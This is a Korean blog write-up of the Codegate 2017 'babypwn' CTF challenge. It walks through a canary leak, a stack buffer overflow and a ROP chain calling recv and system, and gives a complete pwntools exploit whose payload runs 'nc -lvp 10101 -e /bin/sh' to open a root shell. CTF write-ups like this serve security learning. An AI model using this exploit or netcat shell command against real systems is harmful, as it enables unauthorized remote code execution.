System&Write up/CTF

[Codegate 2017] babypwn

Jubil 2018. 1. 29. 19:00
반응형

[Codegate 2017] babypwn

 


 

일단 소켓 연결을 하는데 포트번호를 8181번으로 연결해줍니다.

 

 


 

그리고 바이너리에는 canarynx가 걸려있습니다.

 

 


 

들어가보면 Echo 기능은 입력을 받고 그대로 출력하는 것입니다.

Reverse Echo 기능은 입력을 받고 거꾸로 출력하는 것입니다.

Exit 기능은 나가는 것입니다.

 

 

이제 함수를 분석해보겠습니다.

 

mainsub_8048B87() 함수를 보겠습니다.

 


 

저 함수 3개를 분석하겠습니다.

 

1번째 함수는 처음에 환영글을 출력하는 함수입니다.

 


 

 

그럼 2번째 함수를 분석하겠습니다.

 


 

여기가 중요 함수입니다.

 

3번째 함수는


이걸 출력해줍니다.

 

 

2번째 함수를 보면, 어머 EchoReverse Echo 모두 BOF가 발생합니다.

 


 

여기서 v2bp-0x34지만, a2100을 넣어줬기 때문입니다.

 

bp-0x34에서 bp-0xc까지(40) 덮어주고 canary의 마지막 byteNULL이기 때문에 1byte 더 덮어줍니다. (40+1)

 

 

1

2

3

4

5

6

7

8

9

from pwn import *

 

= remote('localhost'8181)

 

s.sendlineafter('> ''1')

s.sendafter(': ''A'*41)

 

s.recv(41)

print hex(u32('\x00' + s.recv(3)))

cs

 

ANULL byte를 덮었으니 앞에 다시 ‘\x00’을 넣고 같이 언패킹해줍니다.

 


 

Canaryleak 됐습니다.

 

그렇다면 이제 ‘A’*40 + canary + dummy(12bytes, canary ~ ret까지의 거리) + 원하는 주소

로 프로그램의 흐름을 바꿀 수 있습니다.

 

 

system 함수의 offset을 찾으려고 gdb를 열어봤더니,

 


 

고맙게도 system 함수가 있습니다.

 

 

그럼 리버스 커넥션을 이용해서 쉘을 따겠습니다. 포트는 10101을 이용하겠습니다.

 

리버스 커넥션 커맨드를 입력 받을 수 있도록 recv 함수를 사용할 것이고, 그 후 system 함수를 사용할 것입니다.

 

recv 함수의 파라미터는 4개이므로 ppppr gadget을 구하겠습니다.

 

 


 

ppppr : 0x08048eec

 

 

payload‘A’ 41개를 넣어줘서 Canaryleak해오고, 다시 ‘A’ 40, Canary, ‘A’ 12개를 넣어서 Return Address에 접근한 후, recv 함수로 커맨드를 입력 받고, system 함수에 커맨드를 넣어서 실행하겠습니다.

그리고 바꾼 Return Address2번째 함수의 Return Address이기 때문에, 함수를 종료하기 위해서는 3. Exit을 이용하겠습니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

from pwn import *

 

= remote('localhost'8181)

= ELF('./babypwn')

 

ppppr = 0x8048eec

 

recv_plt = e.plt['recv']

system_plt = e.plt['system']

 

cmd = 'nc -lvp 10101 -e /bin/sh'

 

s.sendlineafter('> ''1')

s.sendafter(': ''A'*41)

 

s.recv(41)

canary = u32('\x00' + s.recv(3))

print "[+] Canary leak : " + hex(canary)

 

s.close()

 

############################################

 

= remote('localhost'8181)

 

s.sendlineafter('> ''1')

 

#Access the return address

payload = ""

payload += 'A'*40

payload += p32(canary)

payload += 'A'*12

 

#Input command

payload += p32(recv_plt)

payload += p32(ppppr)

payload += p32(4)

payload += p32(e.bss())

payload += p32(len(cmd)+1)

payload += p32(0)

 

#Call system and reverse connection

payload += p32(system_plt)

payload += "AAAA"

payload += p32(e.bss())

 

s.sendlineafter(': ', payload)

 

s.sendlineafter('> ''3')

sleep(0.1)

 

print '[*] Go "nc localhost 10101"'

 

s.sendline(cmd)

cs

 

 

시나리오대로 코드를 작성했습니다.

 

 


 

그럼 nc localhost 10101을 해보겠습니다.

 


 

root 쉘을 취득했습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[HDCON 2013] luckyzzang  (0) 2018.01.30
[Codegate 2014] angry_doraemon  (0) 2018.01.30
[Pico CTF 2013] rop4  (0) 2018.01.21
[Pico CTF 2013] rop3  (0) 2018.01.20
[Pico CTF 2013] rop2  (0) 2018.01.19